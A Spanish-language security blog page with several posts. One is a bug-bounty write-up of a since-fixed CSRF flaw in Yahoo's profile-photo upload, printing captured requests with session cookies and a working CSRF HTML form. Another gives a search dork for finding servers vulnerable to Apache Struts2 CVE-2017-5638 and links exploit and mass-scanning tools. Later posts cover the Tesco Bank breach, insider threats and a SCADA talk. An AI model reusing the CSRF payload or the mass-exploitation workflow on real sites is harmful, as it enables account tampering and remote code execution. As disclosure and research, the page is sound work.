Vulnerabilidad CSRF Permitía modificar la foto de Perfil de una Cuenta de Usuario de Yahoo

Yahoo_Logo_Purple

Desde hace algún tiempo, he comenzado a participar en los programas Bug Bounty. Si bien es cierto, en estos programas participa gente de todo el mundo, es interesante observar la cantidad de bugs que son poco comunes y que lógicamente, ninguna herramienta automatizada podría detectar, de esta manera se puede aprender mucho sobre nuevos ataques, o mejorar habilidades sobre  bugs ya conocidos.

En marzo de este año, detecté un fallo en Yahoo, el cual permitía realizar un ataque CSRF contra una víctima y de esta manera hacer que ésta, modifique su foto de perfil sin que se diera cuenta. El impacto radica principalmente en  la integridad de la cuenta de un usuario de Yahoo, ya que de forma transparente se podía ejecutar una acción dentro de la cuenta de un usuario.

¿Como he detectado este fallo?

Detectar un CSRF en Yahoo es complejo, ya que en todas sus acciones (Crear, Eliminar, Editar cualquier tipo de información) siempre se utiliza una variable denominada crumb. Esta variable funciona como un Token único, por esta razón, aunque un atacante obtuviese dicho token, sería imposible replicar la vulnerabilidad.

Esta vulnerabilidad la he detectado mediante una de las aplicaciones de Yahoo en iOS.

yahoo_app

En esta aplicación móvil, existe la opción de subir una foto de perfil. Lo interesante, es que Yahoo no utiliza la misma estructura que en su sitio web para realizar este proceso. Un ejemplo del request  web para intentar modificar la imagen de perfil es el siguiente:

POST /progrss/v1/user/VRXO5UWWHVAIMTR6CGKJZXWEYY/profile/imagepool?defaultSel=1&format=json HTTP/1.1
Host: ws.progrss.yahoo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: https://login.yahoo.com/account/personalinfo?.intl=us&.lang=en-US&.done=https://shopping.yahoo.com/search%3ffr=yshoppingheader_test2%26type=2button%26p=%252526%25252334%25253B%252526%25252362%25253B%252526%2526%252334%253B%2526%252362526%252362%253B%25252360%25253Bimg%25252fsrc%25253D1%252520onerror%25253Dalert%2525281%252529%252526%25252362%25253B&.src=shp
Content-Length: 216642
Content-Type: multipart/form-data; boundary=---------------------------212521707114969
origin: https://login.yahoo.com
Cookie: my_cookie; ucs=fs=1
DNT: 1
Connection: close

-----------------------------212521707114969
Content-Disposition: form-data; name="image_file"

data:image/png;base64,s3n77A69pGzL77jvNmX/E0NP36Jkhv7xu+CnK7s+goGsKWa0TVG8gMyEZLePI7ZhEYfc0SqiGUcXVjjBiZ9XgYxY4GDelop/oH9x+dlnfDMrvc0RUJr9RQgGkoJNJiE4gm4LG3cYHC8bmE6r6EUu1jGsl3Ygq6qRDZXREnRVCiZUaUdiJy9ktOJ9Wj9PJxA05GlOCg5EF7A6L7Wdvw/pEDKtVMCPomlt9SMTbwg2yps6QMnAkGQsNG/JCMH2h/Gr2JucspDHlPL+gTH4KcJlgmbwpBJTMuSzPdRCi2QhhtQ0QodYnIziywqPmZohq2EBspaGGOia1wxz3hGEcVTSvUT1IPl/34CnqHjwlXzv0hFizg3OoHJjl7NnonkZ+1xS9SMaQ1TKGzJaxhU4LjfHeqR/GrZoB0qJU9OEa3a0RktuKi1lNOE+1Cp+ECq5AFhlLdwhIYncwrna9DP1d59gWRJ2ZMl1LZkKkjTl5BBJi2k4CN1pb2R0WYlrkJif
-----------------------------212521707114969
Content-Disposition: form-data; name="image_post_body"

{"crumb":"4fyhbdqo9j7","cropx":0,"cropy":0,"cropw":267,"croph":267,"base64Encoded":true,"format":"image/png"}
-----------------------------212521707114969--

Como es posible observar, al cambiar la foto de perfil a través del sitio web de Yahoo, aparece la variable crumb, la cual funciona como Token, por ende, este recurso no es vulnerable a este ataque. Sin embargo, en la aplicación móvil el recurso utilizaba una consulta SQL para subir una imagen a la cuenta de Yahoo. El recurso era el siguiente:

POST /v1/public/yql/ HTTP/1.1
Host: ec.yql.yahoo.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
X-Yahoo-Trace-Data: %7B%22serverId%22%20%3A%20%22ios_app%22%20,%20%22deviceOS%22%20%3A%20%22ios%22%20,%20%22deviceType%22%20%3A%20%22Mobile%22%7D 
Connection: close 
Cookie: AO=u=1; B=f5kvta5ud0g9q&b=4&d=piRM7jRpYFT8zrt7qQNsogjlcis-&s=p9&i=8wYQc31GXTg9_NAMJqk4; PH=l=es-CL&i=cl&fn=DblAb5Rwg2iFxv9OjWVt3K0N; F=a=12fr8lMMvSDeHlwdPJkiLcpGNiCoV7Uojj_so5Wseg_diXTMiQzCB9K8C3gwymwgDXY3Eis-&b=kM75&d=tqBs9rQ9vMX8qL1V9p.OqGwYfM6o66bZ7gIKA4UzvQ--; SSL=v=1&s=bR8MmRvREsFXT_lWFdqOfdjnXW9Vz_vXHYwMWF0DHGREz6RO9CiXTU_DQAmmK_rsZXUGjrJJ3z00jPGI0CmlSw--&kv=0; T=z=Hk.zYBHqT0YBziJ9dPEhMO3MzUxNwY2NjJOMTAxTjZOMjBPTz&a=QAE&sk=DAAFUFuQXEsLLo&ks=EAAYh6XX7AJUSr3.Pg1wbpZcA--~F&kt=EAA4jDSwdMvso_gypmSr3DYYw--~H&ku=FAAMEUCIEecEz9MsXQF1AoMU.lMQ6zCwHLfbYU1yftrMqo2NUnjAiEAipzYuCYO4OZDLm_5PlhFjwLWnXMNvfnXBMaVo.ppiA0-&d=c2wBTkRJMk1BRXhNVFU1TmpjMk9URTVOVGM0T0RFd01UZy0BYQFRQUUBZwE0REFLWlpLSFBWUFQyWURNV1I3UlBVWUdTNAFhYwFBRmlrbTVGT050MEpXQmctAWFsAXJibGFja2JsYWNrAXRpcAFKdmQ2cUMBc2MBeWVjc2hvcHBpbmdpb3MBZnMBM1V4TWx5aFl5OGdPAXp6AUhrLnpZQmdXQQ--&af=QkNBQkJBJnRzPTE0OTAwMjA2MTUmcHM9dldYbUhpUnRBeVJUSFJVYmplNDA1dy0t; Y=v=1&n=4h7fg42c8s9qf&l=u6hcuwdgfl784fevwnvd2ggf52jhmo7ddf85sa0o/o&p=m2kvvcl012000000&iz=&r=11o&lg=es-CL&intl=cl&np=1 
User-Agent: ECShoppingApp/1.4.2 (iPhone; iOS 10.2.1; Scale/2.00)  
Accept-Language: en-CL;q=1, es-CL;q=0.9 
Authorization: OAuth oauth_signature="wIl6edGmwh%2B2z8MkY%2Bluol7VwjA%3D" 
Content-Length: 75495

crossProduct=optimized&format=json&q=insert%20into%20eccommon.member.profile_image%20%28%20data%2C%20imageBase64%20%29%20values%20%28%20%27%7B%22cropx%22%3A0%2C%22cropw%22%3A192%2C%22croph%22%3A192%2C%22cropy%22%3A0%7D%27%2C%20%27/9j/4AAQSkZJRgABAQAASABIAAD/4QBYRXhpZgAATU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAwKADAAQAAAABAAAAwAAAAAD/7QA4UGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAA4QklNBCUAAAAAABDUHYzZjwCyBOmACZjs%2BEJ%2B/8AAEQgAwADAAwERAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5%2Bv/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5%2Bjp6vLz9PX29/j5%2Bv/bAEMAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/

Este recurso no posee la variable crumb y ninguna variable que funcione como token. De esta manera, he generado el siguiente vector de ataque:

<html>
 <body>
 <form action="https://ec.yql.yahoo.com/v1/public/yql/" method="POST">
 <input type="hidden" name="crossProduct" value="optimized" />
 <input type="hidden" name="format" value="json" />
 <input type="hidden" name="q" value="insert into eccommon.member.profile_image ( data, imageBase64 ) values ( &apos;{
 &quot;cropx&quot; : 0,
 &quot;cropw&quot; : 192,
 &quot;croph&quot; : 192,
 &quot;cropy&quot; : 0
}&apos;, &apos;/9j/4AAQSkZJRgABAQAASABIAAD/4QBYRXhpZgAATU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAwKADAAQAAAABAAAAwAAAAAD/7QA4UGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAA4QklNBCUAAAAAABDUHYzZjwCyBOmACZjs+EJ+/8AAEQgAwADAAwERAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5+v/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCAkKC//EALURAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYSQVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/bAEMAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/bAEMBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAf/dAAQAGP/aAAwDAQACEQMRAD8A/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//Q/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//R/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//S/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//T/wA/+gAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAP//U/gF2L6frW3JHt+JtyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp+tHJHt+Icke34hsX0/Wjkj2/EOSPb8Q2L6frRyR7fiHJHt+IbF9P1o5I9vxDkj2/ENi+n60cke34hyR7fiGxfT9aOSPb8Q5I9vxDYvp&KACgD//2Q==&apos; )" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

Prueba de Concepto

El usuario víctima posee su cuenta con la siguiente estructura:

victim_account

El atacante, genera un vector de ataque sofisticado (con la imagen que él desee) el cual sube a su servidor web, lo envía a la víctima y el resultado es el siguiente:

pwned

La víctima no se daría cuenta de esto hasta que revise la información personal de su cuenta. Este reporte fue válido para Yahoo y elegible para Recompensa.

Timeline

  • Reporte Inicial – 20 de Marzo
  • Reporte enviado a revisión – 20 de Marzo
  • Vulnerabilidad Solucionada – 17 de Abril
  • Recompensa Recibida – 18 de Abril

Automatizando la Explotación de Apache Struts2

A principios del mes de Marzo se publicó un fallo de Seguridad en Apache Struts2 (CVE-2017-5638), el cual afecta a millones de Servidores Web (http://www.securityfocus.com/bid/96729/info). Esta vulnerabilidad permite la ejecución remota de código y lógicamente representa un riesgo importante para los servidores que utilizan esta tecnología.

Actualmente, existen diversos servidores web que aún se encuentran vulnerables. Basta con utilizar el dork:

filetype:action

El cual retorna unos 30 millones de resultados a través de Google. Para explotar el fallo, existe un exploit público el cual se puede obtener a través del siguiente repositorio:

https://github.com/samuelproject/ApacheStruts2/blob/master/CVE-2017-5638/CVE-2017-5638.py

La utilización de la herramienta es sencilla, la podemos utilizar de la siguiente manera:

./CVE-2017-5638.py

El script originalmente no lo he desarrollado yo, sin embargo, lo he modificado para manera que la respuesta de la petición no retorne todo el response HTML del sitio web, si no que solo una parte de éste. Esto es útil, ya que a veces sucede que al retornar el response HTML completo del sitio web, se obtiene mucha información y de esta manera es  engorroso detectar si el comando enviado fue ejecutado correctamente.

Un ejemplo de la explotación de este fallo es el siguiente

ifconfig_exploit

Como es posible observar, a través de la vulnerabilidad se logró ejecutar un comando arbitrario en el servidor web. Cabe mencionar que la explotación se puede realizar con la estructura http://sitiovulnerable.com/ o simplemente colocando la URL completa http://sitiovulnerable.com/index.action en caso de que no funcione la estructura anterior. Sin embargo, tener que probar sitios de uno a uno resulta un poco tedioso, por esta razón he desarrollado una herramienta simple, la cual permite ejecutar el exploit con múltiples URLs.

Se debe generar una lista con sitios web (subdominios,etc), esto se puede con la herramienta Sublister. Posteriormente se utilizaremos la herramienta ApacheStruts.py, la cual desarrollé para poder automatizar este escaneo. La herramienta se puede descargar a través del repositorio:

https://github.com/samuelproject/ApacheStruts2

La utilización es sencilla:

./ApacheStruts.py  -l    -c

De esta manera el script comenzará a realizar pruebas contra la lista de URLS definidas.

Resultado:

pwned.jpg

Como es posible observar, el último sitio web es vulnerable. De esta manera se logró automatizar el escaneo hacia diversos sitios web almacenados en un archivo.

Se recomienda utilizar la herramienta con precaución y verificar si algún servicio de tu empresa se ve afectado por esta vulnerabilidad.

El más grande ataque a un Banco de UK pudo ser un ataque interno (Insider)

Hace unos días se conoció un ataque que afecto a Tesco Bank (UK) donde fueron comprometidas sobre 40.000 cuentas de clientes, de las cuales 20.000 fueron vaciadas a cero por los delincuentes, haciendo un total de 2.5 Millones de libras esterlinas en el asalto.

Mark Weston de la firma de abogados Hill Dickinson dice “Si esto era un ataque interno, entonces debemos reconocer que ningún banco es infalible a un ataque de este tipo y ahora lamentablemente les tocó a ellos.”

Parte de ese análisis lo comparto, pues la mayoría de los bancos están ejecutando pruebas de Ethical Hacking tradicionales. pero no están ejecutando pruebas de ciberataque que pueda comprometer el dinero y las cuentas de los clientes. Sin embargo los delincuentes NO les importa o interesa hacer un “defacement” al sitio web. Los delincuentes van detrás de lo importante…”El Dinero”. aquí cobra especial relevancia el vector de ataque usado en este banco de UK y como esto es similar a lo que vemos en Chile y Latam.

El compromiso de las 40.000 cuentas ocurrió por un hacking hacia los sistemas internos o la aplicación móvil, según investigadores del caso del NCSC (National Cyber Security Centre), con la cual lograron acceso una base de datos. pero aquí esta el tema clave… las claves de usuario son “NUMERICAS” (como en varios bancos de Chile, donde “LIMITAN EL MAXIMO de caracteres” en la contraseña) donde al tener acceso a la base de datos, el proceso de “romper” estas credenciales es fácil hasta para el computador más básico.

El banco Tesco ya reporto que devolverá el total de los montos robados a sus clientes, sin embargo la confianza de sus clientes será algo más complejo de restaurar.

Hoy las compañías no tienen visibilidad sobre los costos asociados a un ataque interno. hoy un empleado disconforme tiene acceso directo a lo que millones en equipos perimetrales protegen. ellos no necesitan preocuparse de hacer un túnel ssl para bypasear el firewall o engañar al IPS… porque ellos ya están dentro de su red. la pregunta es… ¿están las empresas en Chile preparadas para identificar a sus enemigos internos?

dtex-2016-cost-of-insider-threats-infographic-01

les comparto un estudio realizado por el Instituto Ponemon y Dtex sobre esta amenaza. https://dtexsystems.com/cost-of-insider-threat    desde ya si desean obtener información de Dtex me pueden contactar directamente.

Fuentes:

http://www.theregister.co.uk/2016/11/10/tesco_bank_breach_analysis/

http://www.thisismoney.co.uk/money/saving/article-3930118/Tesco-Bank-hack-happened-protect-account.html

http://www.elmundo.es/economia/2016/11/07/5820d768268e3e32518b458e.html

Manuel Moreno – CyberSecurity & Computer Forensic Partner

CyberTrust

ISACA – CyberSecurity in Scada Systems – Is Pentesting Enough?

Ayer 7 de Septiembre de 2016 me toco presentar una charla sobre infraestructura critica SCADA, donde principalmente di una visita general a los sistemas de control y luego mostré en vivo como hacer reversing de hardware a un chip I2C usado en sistemas PLC Industriales. la idea principal era mostrar como podría ser factible hacer una descarga del firmware del chip para posteriormente encontrar usuarios/contraseñas en “duro” en el hardware industrial.

foto-isaca2

Adicionalmente a esto también di una vuelta rápida a como están los sistemas SCADA de Chile que actualmente están disponibles a internet y el resultado fue no muy alentador.. en menos de 30 minutos logré identificar un acceso SYSTEM a un servidor conectado a una red SCADA en producción. para lo cual ya estamos en conversaciones con la empresa para hacer una divulgación responsable del fallo de seguridad encontrado “on the fly”.

foto-isaca

Les adjunto la presentación del evento:

Presentacion ISACA_CS-SCADA

Saludos

Manuel Moreno – CyberSecurity & Computer Forensic Partner

CyberTrust presente en ISACA CYBERSECURITY DAY CHILE 2016

CyberTrust estará presente en la conferencia ISACA CyberSecurity Day, el 7 de septiembre de 2016.

Estaremos dictando una charla de Seguridad sobre SCADA (Sistemas Industriales) y algo técnico como es mi estilo de acercar estos temas a cualquier público.

El evento está muy interesante, pues adicionalmente tendrá algunos talleres y todo de forma gratuita, lo cual es una excelente oportunidad para que los profesionales de seguridad puedan interactuar sobre el apasionante mundo de la seguridad informática. Desde ya están cordialmente invitados.

 

agenda-isaca

Los registros los pueden realizar sin costo en: https://www.eventbrite.es/e/entradas-isaca-cybersecurity-day-chile-2016-26966645964